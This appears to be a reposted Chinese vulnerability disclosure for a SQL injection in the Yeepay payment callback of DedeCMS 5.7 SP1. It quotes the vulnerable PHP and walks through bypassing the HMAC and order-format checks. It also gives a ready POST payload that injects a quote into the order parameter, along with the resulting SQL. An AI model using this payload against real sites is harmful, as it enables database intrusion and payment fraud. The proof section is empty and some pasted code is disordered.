来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] 由于织梦对@做了过滤,故而想起了我之前提交的一个支付接口漏洞,然后我就去做了测试,果然六月中旬发布的最新版本还没有修复此漏洞,这里我在这个的基础上面延伸出来三个漏洞...
由于织梦对@做了过滤,故而想起了我之前提交的一个支付接口漏洞,然后我就去做了测试,果然六月中旬发布的最新版本还没有修复此漏洞,这里我在这个的基础上面延伸出来三个漏洞,1.不用@也可以绕过防御,2.就是两处支付接口的sql注入利用,3.就是任意产品单号的任意支付 而且不用登陆的,这个太bug了 详细说明:首先我们要回顾一下当时我的一个大胆猜想: if(preg_match ("/S-P[0-9]+RN[0-9]/",$order_sn)) {
reset($_GET);
if($this->safeCheck) CheckSql($this->queryString,'update');
/* 引入配置文件 */ $code = preg_replace( "#[^0-9a-z-]#i", "", $_REQUEST['code'] ); require_once DEDEDATA.'/payment/'.$code.'.php'; $p1_MerId = trim($payment['yp_account']); $merchantKey = trim($payment['yp_key']); # 解析返回参数. $return = $this->getCallBackValue($r0_Cmd, $r1_Code, $r2_TrxId, $r3_Amt, $r4_Cur, $r5_Pid, $r6_Order, $r7_Uid, $r8_MP, $r9_BType, $hmac); # 判断返回签名是否正确(True/False) $bRet = $this->CheckHmac($p1_MerId,$merchantKey,$r0_Cmd,$r1_Code,$r2_TrxId,$r3_Amt,$r4_Cur,$r5_Pid,$r6_Order,$r7_Uid,$r8_MP,$r9_BType,$hmac); # 校验码正确. if($bRet) { if($r1_Code=="1") { /*判断订单类型*/ if(preg_match ("/S-P[0-9]+RN[0-9]/",$r6_Order)) { //获取用户mid $row = $this->dsql->GetOne("SELECT * FROM detest_shops_orders WHERE oid = '{$r6_Order}'"); $this->mid = $row['userid']; $ordertype="goods"; } else if (preg_match ("/M[0-9]+T[0-9]+RN[0-9]/",$r6_Order)){ $row = $this->dsql->GetOne("SELECT * FROM detest_member_operation WHERE buyid = '{$r6_Order}'"); //获取订单信息,检查订单的有效性 if(!is_array($row)||$row['sta']==2) return $msg = "您的订单已经处理,请不要重复提交!"; $ordertype = "member"; $product = $row['product']; $pname= $row['pname']; $pid=$row['pid']; $this->mid = $row['mid']; } else { return $msg = "支付失败,您的订单号有问题!"; } 在154行getCallBackValue这个函数,我们跟进去看看,令人吃惊的是: function getCallBackValue(&$r0_Cmd,&$r1_Code,&$r2_TrxId,&$r3_Amt,&$r4_Cur,&$r5_Pid,&$r6_Order,&$r7_Uid,&$r8_MP,&$r9_BType,&$hmac) { $r0_Cmd = $_REQUEST['r0_Cmd']; $r1_Code = $_REQUEST['r1_Code']; $r2_TrxId = $_REQUEST['r2_TrxId']; $r3_Amt = $_REQUEST['r3_Amt']; $r4_Cur = $_REQUEST['r4_Cur']; $r5_Pid = $_REQUEST['r5_Pid']; $r6_Order = $_REQUEST['r6_Order']; $r7_Uid = $_REQUEST['r7_Uid']; $r8_MP = $_REQUEST['r8_MP']; $r9_BType = $_REQUEST['r9_BType']; $hmac = $_REQUEST['hmac']; return NULL; } 该函数没有做任何处理,那么经过该函数的所有参数流向sql语句,必定导致sql注入: 构造请求如下: url:http://localhost/DedeCMS-V5.7-UTF8-SP1/uploads/plus/carbuyaction.php post_data:dopost=return&code=yeepay&r0_Cmd=s1&r1_Code=1&r2_TrxId=s3&r3_Amt=s4&r4_Cur=s5&r5_Pid=s6&r6_Order=S-P0098RN0098'&r7_Uid=s8&r8_MP=s9&r9_BType=s10&hmac=7ba6b76c95d25eb488505505518fbd5d 然后执行,我们同样注释掉: 146:require_once DEDEDATA.'/payment/'.$code.'.php'; 发送请求后,查看后台sql语句为: SELECT * FROM dede_shops_orders WHERE oid = 'S-P0098RN0098'' LIMIT 0,1 发现特殊字符进入sql语句,构成sql注入 我们下来看看我们为什么要这样去构造post数据: $bRet = $this->CheckHmac($p1_MerId,$merchantKey,$r0_Cmd,$r1_Code,$r2_TrxId,$r3_Amt,$r4_Cur,$r5_Pid,$r6_Order,$r7_Uid,$r8_MP,$r9_BType,$hmac); # 校验码正确. if($bRet) { if($r1_Code=="1") { /*判断订单类型*/ if(preg_match ("/S-P[0-9]+RN[0-9]/",$r6_Order)) 发现要进入到sql语句必须满足,三个条件 1.$bRet == true 2.$r1_Code == 1 3.满足正则表达式 首先我们进入到CheckHmac函数: function CheckHmac($p1_MerId,$merchantKey,$r0_Cmd,$r1_Code,$r2_TrxId,$r3_Amt,$r4_Cur,$r5_Pid,$r6_Order,$r7_Uid,$r8_MP,$r9_BType,$hmac) { if($hmac == $this->getCallbackHmacString($p1_MerId,$merchantKey,$r0_Cmd,$r1_Code,$r2_TrxId,$r3_Amt,$r4_Cur,$r5_Pid,$r6_Order,$r7_Uid,$r8_MP,$r9_BType)) return TRUE; else return FALSE; } 发现这个函数当我们传递进去的$hmac == getCallbackHmacString(......)这个函数的返回值时候,那我们就会满足第一个条件 所以我们构造post数据为: dopost=return&code=yeepay&r0_Cmd=s1&r1_Code=1&r2_TrxId=s3&r3_Amt=s4&r4_Cur=s5&r5_Pid=s6&r6_Order=S-P0098RN0098'&r7_Uid=s8&r8_MP=s9&r9_BType=s10&hmac=7ba6b76c95d25eb488505505518fbd5d 这时候有由于我们下载的官方软件,不知道怎么由于里面一个require导致,程序无法继续,接下来我们构造post请求,然后去官方的sp1测试站点进行测试,看看理论是否符合实际 这两处都是符合第一个正则条件: preg_match ("/S-P[0-9]+RN[0-9]/",$r6_Order) post_data1: dopost=return&code=yeepay&r0_Cmd=s1&r1_Code=1&r2_TrxId=s3&r3_Amt=s4&r4_Cur=s5&r5_Pid=s6&r6_Order=S-P0098RN0098'&r7_Uid=s8&r8_MP=s9&r9_BType=s10&hmac=7ba6b76c95d25eb488505505518fbd5d 对应的后台sql为: SELECT * FROM dede_shops_orders WHERE oid = 'S-P0098RN0098'' LIMIT 0,1 $p1_MerId = trim($payment['yp_account']);
漏洞证明:
修复方案:过滤 过滤 再 过滤 最好对支付这里有一个后台的秘钥值 参与进来运算 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com